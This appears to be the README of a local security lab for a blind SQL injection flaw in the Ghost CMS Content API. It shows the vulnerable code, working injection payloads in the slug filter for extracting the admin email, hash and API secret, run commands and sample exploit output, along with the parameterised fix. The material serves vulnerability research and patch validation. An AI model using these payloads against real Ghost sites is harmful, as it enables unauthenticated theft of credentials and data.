
CVE-2026-26980 — Ghost CMS Content API SQL Injection Lab (unauthenticated blind SQLi via slug filter ordering)
Unauthenticated blind SQL injection in Ghost CMS via the Content API's slug filter ordering mechanism, allowing arbitrary database reads from any Ghost instance without credentials.
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critical) |
| CWE | CWE-89 (SQL Injection) |
| Affected | Ghost 3.24.0 -- 6.19.0 |
| Fixed | Ghost 6.19.1 |
| Auth required | None (Content API key is public by design) |
| Credit/References | Nicholas Carlini using Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Disclaimer -- This lab is for authorised security testing, education, and defensive research only. Do not use against systems you do not own or have explicit permission to test.
Ghost's Content API supports filtering tags and posts by slug using array notation: filter=slug:[tag-a,tag-b]. Internally, a helper function builds an ORDER BY CASE statement to preserve the requested slug order. Before v6.19.1, user-supplied slug values were interpolated directly into this SQL without parameterisation:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
The Content API key is embedded in every Ghost site's HTML (data-key="..."), making this a fully unauthenticated attack surface.
Ghost's NQL query language validates filter input and rejects raw single quotes or spaces. However, NQL accepts single-quote-wrapped values inside array notation (slug:['value']), passing the quotes through as part of the literal. The slugFilterOrder regex extracts these values and interpolates them -- quotes included -- into the SQL:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL passes quotes through as literal chars
After interpolation the ORDER BY becomes:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
In MySQL's default SQL mode, || is OR and '' is falsy. This gives us a clean boolean oracle:
| Condition | CASE result | Effect |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | Normal response (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | DOUBLE overflow error (HTTP 500) |
With the oracle established, standard binary-search blind extraction applies:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
The SUBSTR(... FROM pos FOR len) syntax avoids commas (which slugFilterOrder splits on).
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





The fix replaces string interpolation with parameterised bindings:
// FIXED
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
The crud.js plugin was updated to thread bindings through orderByRaw, and @tryghost/bookshelf-plugins was bumped to 0.6.29 which adds binding support.
requests# Clone and enter the lab
git clone <this-repo> && cd ghost-cve-2026-26980
# Install Python dependency
pip install -r requirements.txt
# Start the vulnerable Ghost instance (6.18.0 + MySQL 8)
docker compose up -d
# Wait ~45 seconds for Ghost to initialise, then run the exploit
python3 exploit.py --url http://localhost:2368
# Also start the patched Ghost 6.19.1 on port 2369
docker compose --profile fixed up -d
# Wait ~45 seconds, then confirm the fix blocks the injection
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost URL (default: http://localhost:2368)
--validate-fix Confirm the target is NOT vulnerable
--extract-password Also extract admin bcrypt hash
--extract-api-key Also extract admin API secret
--content-key KEY Skip setup, use this Content API key directly
-v, --verbose Show per-query oracle results
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================
[*] Waiting for Ghost at http://localhost:2368 ready
[*] Setting up Ghost (admin: [email protected])
[+] Setup complete — establishing session
[+] Logged in
[+] Content API key: ad63c06a71457583ea58f050c1
[+] Anchor slug: news
[*] Phase 1 — boolean blind verification
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] Boolean oracle confirmed — VULNERABLE
[*] Phase 2a — extracting admin email
Measuring length of admin email... 21 chars
Extracting: [email protected]
[+] Email: [email protected]
============================================================
EXPLOITATION SUMMARY
============================================================
Target: http://localhost:2368
CVE: CVE-2026-26980
Content key: ad63c06a71457583ea58f050c1
Admin email: [email protected]
============================================================